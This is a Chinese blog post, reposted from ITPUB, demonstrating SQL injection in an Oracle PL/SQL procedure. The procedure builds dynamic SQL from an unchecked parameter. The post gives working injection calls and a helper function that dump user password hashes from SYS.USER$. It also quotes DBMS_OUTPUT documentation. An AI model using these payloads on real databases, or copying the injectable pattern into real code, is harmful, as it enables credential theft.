ORACLE中查看用户的库函数信息

创建存储过程：

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = '''
|| P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
LOOP
FETCH CV INTO buffer;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

关于DBMS_OUTPUT.ENABLE的作用下面引一篇洋文来进行解释：

TThe ENABLE procedure enables calls to the other DBMS_OUTPUT modules. If you do not first call ENABLE, then any other calls to the package modules are ignored. The specification for the procedure is,

PROCEDURE DBMS_OUTPUT.ENABLE
(buffer_size IN INTEGER DEFAULT 20000);

buffer_size The size of the buffer that will contain the information stored by calls to PUT and PUT_LINE. The buffer size can be as large as 1,000,000 bytes. You can pass larger values to this procedure without raising an error, but doing so will have no effect besides setting the buffer size to its maximum.

You can call ENABLE more than once in a session. The buffer size will be set to the largest size passed in any call to ENABLE. In other words, the buffer size is not necessarily set to the size specified in the last call.

If you want to make sure that the DBMS_OUTPUT package is enabled in a program you are testing, add a statement like this one to the start of the program:

DECLARE
... declarations ...
BEGIN
DBMS_OUTPUT.ENABLE (1000000);
...
END;

Remarks

This procedure call is not necessary when testing in a SQL*Plus environment. However, To enable output from calls to PUT_LINE in SQL*Plus, you will use the SET SERVEROUTPUT command,

SQL> SET SERVEROUTPUT ON

to see your results. This procedure is only required when you are using DBMS_OUTPUT to capture data in a client/server mode or a precompiler language program. Any PUT/GET calls prior to ENABLE are a no-op.

In a precompiler program - for testing only - the main program will most likely call ENABLE as part of program initialization. At various points within the application there may be triggers and stored procedures that call PUT_LINE. The main C (or other language) program or its subroutines will make calls to GET_LINE to capture the data written to DBMS_OUTPUT - these calls are made following the actions (SQL statements or stored procedure calls) that activated the calls to PUT_LINE. Having called GET_LINE, the main program can print the data captured.

Debugging a difficult problem may require going back to a unit test mode and testing a stored procedure from SQL*Plus.

When the buffer overflows an exception (-20000) is raised. When this occurs there are several options:

w Increase the size of the DBMS_OUTPUT buffer to 1,000,000
w Try filtering the data written to the buffer - possibly there is a loop that writes to DBMS_OUTPUT and you do not need this data.
w Call ENABLE at various checkpoints within your code. Each call will clear the buffer.
w Use an alternate debug interface to DBMS_OUTPUT.

接下来我们要如何来调用我们创建的存储过程呢？

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('SYS');

再来看个注入的调用：

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT PASSWORD FROM SYS.USER$--');

此时就可以返回SYS.USER$表中每个用户的密码的哈希值了。

[@more@]

进一步地，通过之前的存储过程调用我们自定义的函数进行注入：

CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
U VARCHAR2(200);
P VARCHAR2(200);
N NUMBER;
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
      OPEN CV FOR 'SELECT USER#,NAME,PASSWORD FROM SYS.USER$';
      LOOP
            FETCH CV INTO N,U,P;
            DBMS_OUTPUT.PUT_LINE('USER#: ' || N  || ' NAME ' || U || ' PWD ' || P);
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;
      RETURN 'FOO';
END;

调用方法：

EXEC SYS.LIST_LIBRARIES('FOO'' || SCOTT.GET_USERS--');

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/13442480/viewspace-1033710/，如需转载，请注明出处，否则将追究法律责任。

转载于:http://blog.itpub.net/13442480/viewspace-1033710/